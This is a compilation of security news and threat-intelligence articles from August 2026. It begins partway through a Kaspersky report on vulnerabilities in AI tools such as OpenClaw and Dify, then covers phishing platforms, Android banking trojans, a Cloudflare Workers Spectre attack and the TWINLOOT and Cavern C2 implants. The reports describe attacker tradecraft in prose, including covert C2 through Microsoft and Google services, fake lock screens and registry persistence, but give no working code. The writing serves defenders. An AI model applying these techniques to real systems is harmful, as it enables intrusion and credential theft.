vulnerabilities and fairly well-known security issues. LLM/AI tool vulnerabilities This section analyzes data published in Kaspersky’s vulnerability knowledge base. We reviewed the Q2 2026 version of the knowledge base. As mentioned above, AI tools, plugins, and technologies have proven fairly effective at automating the search for problematic code and anomalous behavior. The high speed at which new vulnerabilities are being discovered has naturally created a need to fix them just as quickly. AI is often used for this too, which increases the volume of code being generated. However, neither code written without human involvement nor AI-generated advice is always correct. The chart below covers registered vulnerabilities in AI tools for 2025–2026. Number of published vulnerabilities in LLMs, AI tools, and plugins with similar functionality, 2025–2026 ( download ) As the charts show, AI tools are racking up a substantial number of registered vulnerabilities, and that number keeps growing quarter over quarter. It’s also worth looking at how AI tool vulnerabilities break down by type, according to the CWE system: TOP 6 vulnerability types in products that implement or use AI/LLM logic, 2025–2026 Interestingly, vulnerabilities of an undetermined type have ranked first in every quarter since the start of 2025. Traditionally-made software has the same issue, and it doesn’t look like the growing number of AI tools will fix it. It’s also notable that the list includes classes CWE developers themselves don’t recommend using for vulnerability classification , since they lump together a whole range of more specific types. CWE-284 is an example of this. Looking at the most common classes, the key issues found in AI-related software can be summed up as follows: Inadequate access control over critical system objects Improper implementation of authentication and authorization mechanisms Injections It’s worth noting that injection-related vulnerabilities were relatively rare before AI agents took off (previously, they mostly affected web apps). Recently, though, these security issues have become relevant again. Looking back at a year and a half of the AI boom, one conclusion stands out regarding registered vulnerabilities: AI tool developers are more focused on expanding functionality than on security. This is worth keeping in mind when using these tools. Let’s look at the projects and applications that either integrated AI tools or offered them as the core product. Below is a list of the those with the highest number of registered vulnerabilities for 2025–2026. TOP AI/LLM-related projects by number of published vulnerabilities, 2025–2026 ( download ) Notable vulnerabilities This section highlights the most significant vulnerabilities published in Q2 2026 that have publicly available descriptions. Since the above already covers several significant vulnerabilities published during the reporting period, this section consists mainly of LLM/AI tool vulnerabilities. CVE-2026-25253: a gatewayUrl vulnerability in OpenClaw The issue stems from the fact that the OpenClaw user interface trusts the value of the gatewayUrl parameter passed in the URL and automatically establishes a WebSocket connection to the specified address. During this connection process, it sends an authentication token without any additional user confirmation. The attack algorithm exploiting this vulnerability works as follows: The application obtains a critical connection address from an external source (the gatewayUrl URL parameter), which is controlled by the attacker. There is no validation before use. The client automatically initiates a connection to the address specified in the parameter, which belongs to the attacker. While connected, the application sends credentials (an access token) to the specified address. If the attacker obtains a valid token, the consequences depend on that token’s level of access within the system. In general, this could lead to: User session compromise Execution of operations on the user’s behalf Modification of the AI agent configuration Unauthorized access to tools and resources connected to the agent Under certain OpenClaw configurations, further compromise of the host running the agent It’s worth noting that the risk of exploitation arises from a combination of several factors: the automatic connection and token transmission, the lack of address trust verification, and the high privileges granted to the local AI agent. CVE-2026-41948: a path traversal vulnerability in the Dify AI platform The vulnerability lets an authenticated user craft a request that enables the application to escape its permitted tenant and gain access to internal REST APIs that weren’t meant for that user. The root cause is insufficient normalization and validation of the URL path before it’s passed to the internal service. Depending on the Dify configuration, the consequences can include: Unauthorized access to internal service interfaces Breach of isolation between workspaces Exposure of internal service information Conditions favorable to further attacks when combined with other vulnerabilities The use of Dify in enterprise AI platforms is particularly risky, since internal services there tend to hold elevated privileges. CVE-2026-45386: an improper access control vulnerability in Open WebUI In Open WebUI, pin/unpin operations on messages are write operations, since they modify that message’s metadata (is_pinned, pinned_by, pinned_at). In vulnerable versions, however, before performing these actions, the API only checked for read access to the channel (a chat between a user or group and the AI) containing the message, not permission to modify its content. As a result, a user with a role limited to viewing messages could still change a message’s pinned status. The vulnerability’s mechanism works as follows: The user initiates an action that changes the state of an object. The application treats this action as a regular read request. Only channel view permission is checked. The application performs a write without verifying the required user authorization. This violates one of the fundamental principles of access control models — namely, that any operation that changes the state of data must be checked for the appropriate write or moderation permissions, regardless of whether the object itself is readable. Although the vulnerability doesn’t lead to arbitrary code execution or compromise of sensitive data, it can affect data integrity and collaborative workflows. Potential consequences of exploitation include unauthorized pinning or unpinning of messages, disruption of channel moderators’ and administrators’ activities, changes to the display order of important information, and even the potential spread of false or misleading information by altering the channel containing a pinned message. Open WebUI is widely used as an interface for interacting with local and enterprise LLMs. In these systems, pinned messages often contain important instructions, announcements, or tips for users. The ability to modify them with minimal privileges can disrupt collaborative workflows, cause confusion, and undermine trust in information published by administrators and moderators. CVE-2026-45501: a vulnerability in Microsoft Exchange The vulnerability stems from improper neutralization of user input when generating Exchange web pages. As a result, the browser may interpret specially crafted data as active content instead of plain text. Although Microsoft categorizes the potential impact of exploiting this vulnerability as spoofing, flaws like this can lead to alteration of displayed content, imitation of trusted interfaces, actions on behalf of the user within an active session, and abuse of user trust. It’s worth noting that issues like this are still relevant in modern software, given that mechanisms like Content Security Policy and various parsers were specifically created to help developers neutralize dangerous parts of user page content. Conclusion and advice Q2 brought the first significant results of AI automation adoption in software development and vulnerability hunting tools. This research shows that beyond traditional patch management, organizations now need real-time monitoring of systems and access controls, since infrastructure and everyday applications now contain far more AI functionality that could lead to compromise. Accordingly, besides quickly detecting infrastructure vulnerabilities and managing security patches, modern enterprise-grade security solutions need to provide a broad range of preventive measures for tracking the overall health of systems and workstations. Kaspersky Next meets these requirements by combining proactive mechanisms with the ability to respond promptly to emerging threats.
securelist.comAug 26, 2026extracted
ZeroTokens Phishing Platform Steers Attacks in Real Time
A phishing platform dubbed ZeroTokens allows attackers live visibility into victim sessions and the ability to change subsequent prompts in real time, allowing attacks to adapt in real time while targeting credentials and financial information. The platform allowed an operator to monitor information entered by victims and steer individual phishing flows while separately using the harvested data against the genuine institution. Abnormal AI published its analysis of the campaign on August 25. It found that more than 45,000 messages were sent to over 24,000 recipients across more than 700 organizations. Some 24,000 messages were sent on a single peak day, according to the research. Live Operators Control Each Phishing Session The campaign used ten sender domains and nine abused SendGrid accounts. Messages passed SPF, DKIM and DMARC checks and used W-8BEN tax-documentation reviews as a believable pretext for recipients with US securities holdings. The phishing site reproduced the targeted financial institution and could present up to eight stages modeled on its verification process. As victims entered information, ZeroTokens reported the session state to its platform and allowed an operator to choose which screen appeared next. The observed flow collected login credentials, driver’s license and card details, SMS verification codes, app-based approvals and a separate trading password. A persistent WebSocket connection relayed the victim's inputs to the operator console while allowing the operator to control the session. The operator could also respond to failed verification attempts by showing another prompt, keeping the interaction active rather than allowing the phishing session to end. Once collection was complete, the victim could be redirected to the legitimate institution's website. Scale Suggests In-House Criminal Operation ZeroTokens supported 53 financial institutions and 36 card-issuer templates, covering banks and brokerages in multiple regions. Abnormal AI found the tool's console had separate super-admin and operator roles, leading researchers to assess with high confidence that it was likely in-house tooling for a single group rather than a rented phishing-as-a-service (PaaS) offering. The platform itself did not provide functionality for withdrawals, transfers, payee changes or trading orders. Abnormal therefore assessed that financial theft or payment redirection would most likely occur outside the platform using information collected during the phishing interaction, rather than through ZeroTokens itself.
infosecurity-magazine.comAug 25, 2026extracted
Mirage2FA Surge Hits 4,500 US and EU Companies, Abusing Microsoft 365 Login Flows
Thousands of companies have been affected by the Mirage2FA campaign from 2024 to 2026. The commercial phishing-as-a-service toolkit targets Microsoft 365 accounts by abusing legitimate login flows and bypassing two-factor authentication. According to ANY.RUN research, 48% of targeted email addresses were potentially compromised. Most of the affected companies are US-based. Mirage2FA Campaign Scope and Impact By stealing passwords and session cookies, attackers can gain access to authenticated Microsoft 365 sessions and SSO-connected services. This creates significant identity-related risks for companies, potentially exposing corporate email, trusted business accounts, and other sensitive data. Once an authenticated Microsoft 365 session is hijacked, a path for impersonation, fraud, and further compromise is created. The campaign has a broad geographic and corporate reach. Apart from the United States accounting for 63.7% of the total victims, Mirage2FA activity was also observed in India, Singapore, the United Kingdom, Canada, Saudi Arabia, South Africa, and other countries. Overall, Mirage2FA activity is potentially linked to 4,532 unique organization email domains. Technology, manufacturing, and education were among the most targeted industries. A major part of the risk for affected companies comes from session theft. ANY.RUN’s research uncovered more than 9,000 potential compromise events involving cookie and password theft, SSO logins, and 2FA bypass. Findings from ANY.RUN research show how AiTM attacks can exploit gaps in authentication and session management even when two-factor authentication is in place. The impact can also extend beyond the initially compromised account. Follow-on access, SSO-connected apps, and other internal workflows can increase the attack radius, further increasing containment costs. Another costly factor is that impact goes beyond password theft, as attackers gain access to the corporate environment or Microsoft 365 services through hijacked user sessions, making it harder to take swift measures. How to Reduce Mirage2FA Risk in Your Company Organizations can reduce exposure by strengthening authentication, detecting campaign behavior, and treating session theft as an identity incident. Detect Attacks Earlier with Deeper Analysis Seamlessly integrating sandboxing into existing workflows helps SOC teams safely investigate suspicious content and identify phishing behavior before it leads to account compromise. These measures help security teams detect Mirage2FA activity earlier, investigate its wider scope, and limit the impact of session theft. Lower the cost of account compromise with early detection with ANY.RUN. Detect threats in 14 sec and cut MTTR by 21 mins per case. Uncover the Infrastructure Behind Campaigns Mirage2FA activity should be investigated beyond individual IOCs. Recurring loaders, encoded data, suspicious WebSocket activity, and related infrastructure can help reveal connections to a wider campaign. Session theft should be treated as an identity incident. Teams should revoke compromised sessions and tokens and investigate activity tied to the affected identity rather than relying on a password reset alone. Integration of real-time Threat Intelligence Feeds provides fresh malicious indicators that complement behavioral detections as attacker infrastructure changes. Analysts can then use Threat Intelligence Lookup to pivot from suspicious URLs, domains, IPs, and files to related infrastructure and activity. Turn isolated IOCs into actionable intelligence backed by threat data from 16,000+ organizations. Conclusion Mirage2FA shows how phishing has evolved beyond credential theft. By hijacking Microsoft 365 sessions, attackers can bypass conventional MFA and gain access through trusted user identities. With thousands of organizations affected, particularly in the US, businesses need to prioritize phishing-resistant authentication, behavioral detection, and response procedures designed for session theft.
thehackernews.comAug 25, 2026extracted
ToxicPanda 2.0 and GoldDigger Expand Android Banking Attacks with On-Device Fraud
Cybersecurity researchers have shed light on an updated version of ToxicPanda (aka TgToxic) that comes with "significant enhancements," including a set of 167 remote commands and expands its targeting footprint globally. Zimperium zLabs, in a Wednesday report, said the Android malware also features a PIN harvesting workflow targeting more than 140 banking and cryptocurrency applications. ToxicPanda is known to be active in the wild since at least July 2022. "By abusing the Android accessibility service, threat actors can steal every UI element on the screen, alongside an overlay-based credential theft mechanism targeting 349 financial institutions [across 16 countries], compared to the previous version, which targeted only 16 banking applications, the latest iteration demonstrates a significant expansion in targeting scope and capabilities," security researcher Vishnu Pratapagiri said. The new version also fleshes out some of the previously unimplemented commands, siphons lock screen credentials using a fake overlay, and introduces an automated click-based mechanism to abuse Android Wireless Debugging via Android Debug Bridge (ADB) to facilitate privilege escalation and shell-level access on compromised devices. It achieves this by using the accessibility services to enable Developer Options and turn on Wireless debugging. ToxicPanda 2.0 connects to its command-and-control (C2) server by sending an initial HTTPS request to establish a bidirectional WebSocket communication channel to receive commands and exchange data. Like in the case of the newly-discovered Manic, the Android malware can display full-screen "system update" overlays to conceal its background actions and deploy an invisible transparent overlay to capture touch and harvest PIN codes. Other newly added functionalities include a prompt to trick the victim into granting Device Administrator privileges, overwriting the device's local lock screen PIN or password with an attacker-defined value, and profiling the infected device to determine the OEM vendor and take appropriate steps to exempt the malware from battery optimization policies using accessibility services and ensure uninterrupted background execution. "The updated campaign also reveals a shift in distribution methods, with ToxicPanda 2.0 samples being delivered through Amazon AWS-hosted buckets, indicating the attackers are leveraging cloud infrastructure for malware delivery," Zimperium said. New GoldDigger Campaign Targets South Africa, U.K. The third Android banking trojan to come under the security radar is GoldDigger, which was first documented by Group-IB in October 2023 as capable of carrying out on-device fraud. It's attributed to GoldFactory, a Chinese-speaking threat actor linked to other banking malware families targeting both Android and iOS, such as GoldPickaxe, GoldDiggerPlus, and GoldKefu. According to IBM Trusteer, GoldDigger makes use of a sophisticated packer called "dpt-shell" to obfuscate its code and resources in an attempt to resist analysis. The packer also implements a bevy of evasion techniques: encrypting its native logic; detecting if Frida is attached to the process and, if so, crashing it; preventing external debuggers from attaching by marking itself as being traced using the PTRACE system call. The current GoldDigger campaign mainly impersonates airline companies and shopping retailers, resulting in a "massive infection" in South Africa and the U.K. Victims who end up installing these apps are asked to grant accessibility services permissions, which the malware abuses for fraudulent actions. "GoldDigger can inject input to the banking app to mimic user interaction, such as entering text, clicking buttons, and performing gestures," security researcher Shahar Tavor Lusky said. In doing so, GoldDigger initiates fraudulent transactions from the victim's banking app to the attacker." GoldDigger can also give the operator real-time access to the victim's screen, capture credentials entered on banking apps using fake overlays, and run a targeted app within a virtual environment, giving the attacker full visibility into its runtime behavior and real-time interception of credentials and sensitive data. For C2, the malware establishes a WebSocket connection to receive commands that allow it to request accessibility and location permissions; capture input from any app using the accessibility services; collect contacts and SMS messages; record audio and video and stream it using the RTMP protocol to the C2 server, open specific URLs; and open specific apps (e.g., Google Play Store and Settings). To stay safe against these threats, it's advised to review installed applications and remove any unfamiliar or suspicious ones, audit app permissions before granting them, download apps only from trusted sources and developers, keep devices up-to-date, enable two-factor authentication (2FA) for all online accounts, and monitor bank accounts for unusual transactions.
thehackernews.comAug 20, 2026extracted
Cloudflare Workers Spectre Attack Leaks JWT From Co-Located Worker at 12 Bits/Second
Cybersecurity researchers have disclosed details of a remote Spectre attack against Cloudflare Workers that leaked a JSON Web Token (JWT) from a co-located Worker in the production environment at up to 12 bits per second, 360 times the rate of an earlier attack demonstrated in 2021. The end-to-end experiment used an attacker Worker and a victim Worker controlled by the researchers, with the JWT intentionally placed in the victim's memory. The research paper stated that no customer data was accessed. Cloudflare said the attack has already been mitigated in production after it improved Dynamic Process Isolation (DyPrIs), integrated the V8 Sandbox, and deployed Memory Protection Keys (MPK)-based in-process isolation, adding that it found no indicators of active exploitation over the last three years. "We demonstrate that the production implementation of DyPrIs was insufficient," the researchers said in the paper. Cloudflare Workers runs code from multiple tenants in separate V8 isolates within the same operating-system process, relying on language-level isolation instead of strict process isolation to reduce startup latency. A memory read within a shared Worker process can lead to cross-tenant leakage, according to Cloudflare. The attack requires the attacker and victim Workers to be co-located in separate V8 isolates within the same Worker process. The attacker controls valid code in its own isolate. Native code execution is outside the threat model, and the attack does not depend on a V8 software exploit or sandbox escape. Cloudflare said Workers restrict local timing sources by freezing or coarsening timers during CPU execution, and do not expose shared memory or multithreading to Worker scripts. The researchers found that WebSocket communications could provide a remote timing source, while Durable Objects could keep a single Worker isolate alive for five to more than 20 hours. DyPrIs isolates suspicious scripts into a separate process after an invocation finishes, and the researchers found that a long-lived Durable Object invocation could continue running before the isolation took place. The researchers also found that WebSocket-heavy input/output (I/O) activity increased instruction translation lookaside buffer (iTLB) activity, reducing the normalized branch-misprediction signal used by DyPrIs below its detection threshold. Cloudflare described the issue as a limitation in its DyPrIs implementation, while the paper said the two weaknesses reflected fundamental limitations of the detection approach rather than implementation oversights. The researchers said robust detection should take place during execution and use a signal that cannot be suppressed by I/O activity. The paper said the production tests were conducted on Linux servers using AMD EPYC Zen 2 and Zen 3 processors, with the researchers intentionally running measurements at night, when CPU utilization was between 10% and 25%, to observe the best possible results. The researchers said higher system load reduced the leakage rate, although slower attacks remained feasible under high load. The paper reported leakage of up to 12 bits per second at 99.16% accuracy, compared with 2 bits per minute in the earlier attack. The disclosure comes nearly five years after Cloudflare and TU Graz published research demonstrating a remote Spectre attack against Workers at 120 bits per hour and introducing DyPrIs as a defense. The earlier paper reported a 0.61% false-positive rate and concluded that DyPrIs statistically provided the same security guarantees as strict process isolation against the Spectre attacks evaluated at the time. Cloudflare published additional Workers hardening measures in September 2025. The mitigations deployed by Cloudflare are listed below - Improved DyPrIs improves the detection capabilities of the existing isolation mechanism. V8 Sandbox limits transient access to 64-bit pointers. MPK-based in-process isolation places Worker heaps behind hardware-enforced protection keys. Cloudflare said modern x64 systems leave about 12 keys available for this purpose, and its design combines the keys with the V8 Sandbox and a rotating memory layout to prevent nearby sandboxes from sharing a key. Cloudflare's September 2025 description said that random MPK assignment alone would trap about 92% of cross-isolate accesses because two isolates can receive the same key, and that the stricter rotating layout is used to remove that gap for the covered in-sandbox threat model.
thehackernews.comAug 19, 2026extracted
NCSC-2026-0305 [1.00] [M/H] Kwetsbaarheden verholpen in Mattermost
Mattermost, Inc. heeft kwetsbaarheden verholpen in Mattermost versies 10.11.x, 11.7.x en 11.8.x, inclusief de GitLab plugin tot versie 11.8. De kwetsbaarheden betreffen meerdere aspecten van de Mattermost software, waaronder onjuiste validatie van WebSocket command velden, onjuiste reconciliatie van SchemeAdmin flags, en onvoldoende verificatie van kanaaleigendom bij ABAC policy unassign endpoints. Hierdoor kunnen geauthenticeerde gebruikers onder andere denial-of-service veroorzaken door het laten crashen van plugin processen, administratieve privileges behouden na demotie, en ongeautoriseerde wijzigingen aanbrengen in toegangscontrolebeleid en board-rollen. Verder kunnen guest gebruikers via speciaal vervaardigde boardarchiefbestanden hun privileges escaleren naar Board Admin. OAuth applicaties kunnen tokens en autorisaties van andere integraties intrekken door onvoldoende restricties op deaccountbeheer endpoints. Ook is het mogelijk om voltooide playbook runs te wijzigen door het ontbreken van run-state validatie. Daarnaast kunnen gebruikers zonder voldoende leesrechten boards koppelen aan kanalen, waardoor lidmaatschappen van private kanalen worden blootgesteld. Channel administrators kunnen hun permissies verhogen via manipulatie van de channel member roles API. De GitLab plugin vertoont een kwetsbaarheid waardoor bots berichten met willekeurige URLs kunnen injecteren in kanalen zonder toegangsrechten. Thread membership records worden niet verwijderd bij vertrek uit een team, wat toegang tot private thread content kan geven bij herintreding. Ten slotte is er een kwetsbaarheid in de server-side validatie van BoardMember.Scheme* velden, waardoor privilege escalatie mogelijk is door het toekennen van board admin rechten aan willekeurige gebruikers, en een permissiecontrole ontbreekt bij het relinken van boards aan kanalen via de batch endpoint.
advisories.ncsc.nlAug 19, 2026extracted
TWINLOOT Abuses SharePoint and Teams to Steal Credentials and Move Across Networks
Cybersecurity researchers have disclosed details of a previously undocumented Python implant framework dubbed TWINLOOT. "TWINLOOT is a modular, PyArmor-hardened Python implant designed to operate its entire command-and-control infrastructure inside trusted Microsoft services," Ontinue said in a technical report shared with The Hacker News. "Tasking flows through SharePoint Online file dead-drops via the Microsoft Graph API. Interactive operator access routes through WebRTC DataChannels relayed by Microsoft Teams TURN servers." Traffic to and from the Graph API is driven by means of a headless instance of the victim's own Edge browser, thereby making it virtually indistinguishable from legitimate network activity. The implant is equipped to harvest Windows credentials using pixel-perfect fake lock screens, offer a reverse SOCKS5 pivot into victim networks, execute arbitrary commands, and establish persistence on the host. Ontinue's Cyber Defense Center said it discovered the implant during its investigation into an ongoing campaign in July 2026. A defining aspect of the malware is its use of multiple command-and-control (C2) channels, all of which make use of Microsoft services - SharePoint Online (Graph API) for tasking Teams TURN relays for interactive access Victim's Edge browser for ferrying Graph traffic The initial access vector is assessed to be a social engineering attack via Microsoft Teams, in which the threat actor masquerading as IT support persuaded a target to run a PowerShell command that's responsible for downloading an archive file containing the Python runtime and a 39 MB compiled payload ("bootstrap-fat.pyc"), which serves as a loader for TWINLOOT. Describing the threat actor as knowledgeable in offensive tradecraft and Microsoft's cloud architecture, Ontinue said the Python framework is the first such tool to combine Microsoft 365 dead drop C2, Teams TURN relay abuse, and headless browser transport under a single umbrella. TWINLOOT runs two parallel channels from the victim machine: One is a SharePoint dead drop that authenticates to an attacker's Azure tenant and polls a SharePoint drive for commands every 15 seconds, allowing the operator to receive instructions, run them, and exfiltrate data back to the server. The second channel makes use of a reverse SOCKS5 tunnel to enable interactive access and lateral movement. "It runs over either a direct TLS/WebSocket connection to the attacker's server or through the Teams TURN WebRTC relay," Ontinue said. "The operator gets a SOCKS5 listener on their own machine (127.0.0.1:1080), and proxies traffic through it into the victim's internal network. Those connections exit from pythonw.exe on the victim host to internal targets on ports like 445 (SMB), 3389 (RDP), 5985 (WinRM), and 1433 (MSSQL). To the victim's internal network, it looks like the compromised host is making normal lateral connections." To enable lateral movement, the operator captures the victim's password via bogus lock screen prompts and exfiltrates it over the SharePoint channel. The fake screen is rendered when the "credz_waiting" command is issued by the threat actor. It's worth noting that the entered password is not validated against Windows authentication to check if the victim has entered the right system password. Regardless of what is provided, the victim is displayed an error message "The password is incorrect. Try again," likely causing them to input the correct password the second time. Once the credential is entered, the fake lock screen is automatically closed. Every password captured by the screen is encrypted and uploaded to the SharePoint drive. These credentials are then abused through the SOCKS5 tunnel to pivot to the next host using Remote Desktop Protocol (RDP) or WinRM. This is not the first time bad actors have leveraged a TURN-based mechanism to communicate with the threat actor. In June 2026, Broadcom-owned Symantec and Carbon Black detailed DragonForce ransomware's use of a Go-based remote access trojan (RAT) called Backdoor.Turn to conceal command-and-control (C2) traffic inside Microsoft Teams relay infrastructure. Although the overall modus operandi is the same, the manner in which they are implemented is different in both tools: Backdoor.Turn uses a QUIC session through the relay. TWINLOOT, on the other hand, uses WebRTC DataChannels via aiortc. Then, late last month, another new Rust-based RAT dubbed msaRAT was observed using the same TURN method, but against Twilio instead of Teams. Attributed to the Chaos ransomware group, the malware is implemented using the Tokio asynchronous runtime to control a headless browser session and establish a covert tunnel to the attacker's server. The DLL malware ("lib.dll") is launched prior to the deployment of the ransomware by means of an MSI installer that's downloaded from an external host. It then locates the Chrome or Edge installation path, launches the browser in headless mode, and injects JavaScript code into a new browser tab to initialize a WebRTC communication channel with the C2 server. "This RAT never touches the network directly — it controls its C2 communication channel exclusively through Chrome DevTools Protocol (CDP), a browser debugging API," Cisco Talos noted late last month. "The binary contains a Cloudflare Workers endpoint, but it never makes HTTP connections to that domain itself; it offloads that work entirely to the browser." "msaRAT manipulates the browser via CDP, performs signaling (SDP Offer/Answer exchange) with Cloudflare Workers, and establishes a WebRTC DataChannel between the browser and the C2 server using Twilio TURN (Traversal Using Relays around NAT) as a relay." The latest findings from Ontinue indicate how multiple threat actors have independently adopted the same TURN relay abuse within a year of the technique, codenamed Ghost Calls, being publicly disclosed by Praetorian. Like in the case of msaRAT, TWINLOOT launches the victim's Edge browser in headless mode, enables its remote debugging interface, and connects to it via CDP. Once this step is complete, it navigates a browser tab to "graph.microsoft[.]com" and then leverages the Drive API to interact with the threat actor's SharePoint. "Chaos group's msaRAT uses the same headless-browser-via-CDP architecture, but for WebRTC signalling through Cloudflare Workers," Ontinue explained. "The convergence is notable: two unrelated actors independently arrived at 'drive the victim's own browser as a C2 transport' within the same month." Persistence is set up based on the build (PERSIST_ENABLED=True or False). It uses four methods - TypeLib COM scriptlet hijack GhostTask-style TaskCache manipulation Self-update using a reobf.json manifest The fourth method makes use of an open-source tool Swarmer, which was released by Praetorian last year as a way to "convert Windows Registry export files into Windows hive files that can be used to replace NTUSER.MAN." The method makes it possible to create stealthy Registry keys to HKEY_CURRENT_USER (aka HKCU) without being detected by security software even in the absence of administrator access. "The implant builds a mandatory Windows profile hive entirely offline using two APIs: RegLoadAppKeyW (which loads a registry hive into a private application namespace without requiring admin privileges) and Microsoft's offline registry library offreg.dll (ORCreateKey, ORSetValue, ORSaveHive)," Ontinue said. "The resulting hive is written to %USERPROFILE% \NTUSER.MAN. When Windows loads a user profile, it checks for NTUSER.MAN (a mandatory profile override) before NTUSER.DAT. If NTUSER.MAN exists, its contents take precedence." The development marks the first recorded malicious use of this persistence method in the wild. Beyond these capabilities, TWINLOOT supports reconnaissance, discovery, screenshot capture, and the ability to fall back to an EtherHiding-style mechanism to obtain the runtime configuration if the Azure Blob Storage dead drop method fails. The Ethereum-based resolution is unused in the build, suggesting the framework is being actively developed. It's not clear who is behind the toolkit, but Ontinue said it shares operational parallels with a cluster called STAC4749, which has a track record of orchestrating Teams voice phishing campaigns to deploy Chaos ransomware. "The STAC4749 overlaps are notable, Teams vishing delivery, a PyArmour-obfuscation python backdoor, a reverse SOCKS5 proxy, HKCU Run Key persistence, and an adjacent timeline," the cybersecurity company said. "However, the underlying implementation differs substantially." "STAC4749 uses PyInstaller, packaging, Go-Based implants, standalone SOCKS5 proxy tooling, and .top domains behind Cloudflare. TWINLOOT uses raw .pyc execution, pure Python, an integrated SOCKS5 multiplexer, and drop-caught aged domains with SharePoint dead-drop C2. If these are the same operator, the tooling was rebuilt from scratch rather than evolved."
thehackernews.comAug 18, 2026extracted
Cavern C2 Uses DNS and Google Apps Script to Blend Into Legitimate Traffic
Cybersecurity researchers have traced the continued evolution of the Cavern (aka Cav3rn) command-and-control (C2) framework used by Iranian nation-state hackers in attacks targeting entities in Israel. Russian cybersecurity company Kaspersky said its ongoing monitoring of the threat activity cluster since December 2025 has led to the discovery of previously unreported components that expand the toolkit's communication capabilities. "The main finding is a complex C2 module that uses DNS A-record responses to choose between direct HTTPS and a Google Apps Script relay for each transaction," Kaspersky said in an analysis. "The same DNS infrastructure can validate and replace the relay deployment ID, allowing the operator to rotate the Google channel." Cavern, first publicly documented by Check Point Research in early July 2026, consists of multiple moving parts, including an Agent and an assortment of modules, that work in tandem to enable mission-specific post-exploitation functionality, while minimizing forensic visibility and ensuring persistent access. The modules facilitate file operations, SQL database enumeration, Active Directory reconnaissance, LDAP brute-force attacks, network reconnaissance, and SOCKS5 proxy and WebSocket tunneling. The use of Cavern C2 has been linked to Cavern Manticore, a hacking group affiliated with Iran's Ministry of Intelligence and Security (MOIS) that shares overlaps with MuddyWater and an OilRig sub-group known as Lyceum. Two back-to-back follow-up reports from Group-IB and Kaspersky detailed another module dubbed HOLLOWGRAPH that turns Microsoft 365 calendars into covert C2 channels. The malware, in particular, abuses the Microsoft Graph API to exfiltrate files and receive commands from the attacker using Microsoft 365 calendar events, and DNS tunneling to refresh credentials used in C2 communication. "Using the Microsoft Graph API, it treats the compromised mailbox's calendar as a two-way dead-drop: operators plant tasking as calendar events, and the implant exfiltrates stolen files by creating its own events with encrypted data attached," Group-IB noted. "To avoid catching the mailbox owner's attention, every event is dated far into the future — 13 May 2050 — with payloads attached as files to the event." In tandem, the malware employs DNS tunneling as a way to refresh the Microsoft Entra ID (Azure AD) credentials used to authenticate to the Graph API and write the updated values to a text file on disk. A .NET NativeAOT-compiled DLL, HOLLOWGRAPH, was first detected in the wild on June 7, 2026. Cavern's shift to a modular, extensible architecture using a plugin-based system is assessed to have taken place in late April 2026, per Kaspersky, which has since linked it to OilRig (aka APT34) with low confidence, citing the following indicators despite no direct code reuse or infrastructure overlap - Use of Microsoft-hosted services for C2 (e.g., RDAT, OilCheck) Presence of secondary recovery mechanism to obtain replacement OAuth refresh tokens, as observed in OilBooster Use of compromised infrastructure belonging to entities in regions it targets, as observed in Solar and Veaty malware The latest findings from Kaspersky are a new communication module, GoogleService.dll, which reads a configuration file from disk ("conf.json") and performs a DNS A-record query to opt for either a direct HTTPS or a Google Apps Script relay for each transaction. When the Google mode is selected, the module sends requests to the Apps Script deployment, which then forwards them to the threat actor-controlled backend. If Direct HTTPS is chosen by DNS, it contacts the configured address without using the relay. The cybersecurity vendor said it also discovered an inter-component broker ("rnp.dll") that functions as the framework's local bridge, which discovers and loads DLL components, routes messages between them, and supports runtime upgrades. Although the primary domain linked to the activity ("studiotikva[.]com") was first registered in February 2024, the domain is said to have expired in February 2026, only for it to be re-registered three months later. The development is a sign of ongoing evolution of the Cavern framework, while relying on legitimate services to evade conventional perimeter defenses. "By abusing legitimate services — previously Outlook calendar events and now Google Apps Script — the framework blends its C2 traffic with normal network activity, complicating network-based detection," Kaspersky said. "Given its development pace, modular design, and operational tempo, we assess that Cav3rn will likely continue to expand." APT42 Resurfaces with TAMECAT The disclosure comes as DarkAtlas detailed APT42's use of TAMECAT in spear-phishing attacks targeting individuals associated with the nuclear energy sector as recently as April and May 2026 via LNK files masquerading as PDF documents. "The social-engineering theme used podcast and interview invitations, continuing the group's preference for credible professional engagement before malware delivery," DarkAtlas said. The attack chain culminates in the deployment of TAMECAT, a modular surveillance and collection framework that supports enumeration, discovery, arbitrary command execution, browser credential and cookie collection, Outlook .ost mailbox collection, screenshot capture, and fallback C2 and exfiltration mechanisms. The Iranian hacking group has also been observed using generative artificial intelligence (AI) as a way to accelerate operations, including developing specialized tooling, researching exploitation techniques, language translation, and identifying official email addresses, and investigating entities of interest. "APT42 remains an intelligence-collection threat whose advantage comes from patient human targeting, now accelerated by AI and supported by more resilient malware when needed," DarkAtlas said.
thehackernews.comAug 17, 2026extracted
⚡ Weekly Recap: VMware Exploits, Windows 0-Day, MCP Attacks, Browser Hijacks and More
The expensive attacks are not always the clever ones. This week had plenty of proof. Exposed services got hit, old bugs found fresh use, browser sessions became attack paths, and supply-chain problems kept spreading farther than the original compromise. A lot of it came down to access that was already there and defenses that assumed nobody would look too closely. So, nothing magical. Just a lot of small openings turning into bigger problems. Here’s what stood out. ⚡ Threat of the Week Suspected China APT Behind Exploitation of New VMware Flaw — A suspected China-nexus APT is assessed to be behind the exploitation of a newly patched security flaw in VMware vCenter. The attacks involve the exploitation of CVE-2026-59310 (CVSS score: 9.8), a severe directory-traversal vulnerability in the VMware vCenter server that could be weaponized by a malicious actor to execute arbitrary code. In at least one compromised instance, the attacks led to the deployment of a backdoor and. a reverse SSH binary, with the attack ultimately leading to the deployment of Babuk-derived ransomware. "Based on the case we investigated, however, we do not believe ransomware was necessarily the primary objective," QUIRSO said. "To us, its deployment looks more like a smoke screen intended to distract from the underlying intrusion and, importantly, hinder subsequent forensic analysis by encrypting evidence. We therefore see the ransomware activity in this case as potentially serving the broader intrusion rather than being its ultimate objective." AI Adoption Is Outpacing Governance, New SANS Survey Finds Seventy-eight percent of practitioners now say AI is part of their cybersecurity strategy, up from 50% last year. Governance hasn't kept pace: just 36% have a formal AI risk program. See where 536 security professionals say programs are falling short, and what to do about it. Read the Findings ➝ 🔔 Top News Apple macOS Flaw Exploited to Drop Crypto Miner — A recently patched security flaw in Apple macOS has come under active exploitation in the wild to deploy a cryptocurrency miner. The vulnerability in question is CVE-2026-65400 (CVSS score: 9.8), a critical authentication issue impacting the Screen Sharing component that could allow an attacker already on the network to authenticate to the built-in remote desktop feature service without valid credentials. The shortcoming was addressed as part of an emergency update in macOS Tahoe 26.6.1, macOS Sequoia 15.7.9, and macOS Sonoma 14.8.9 earlier this month. The Netherlands 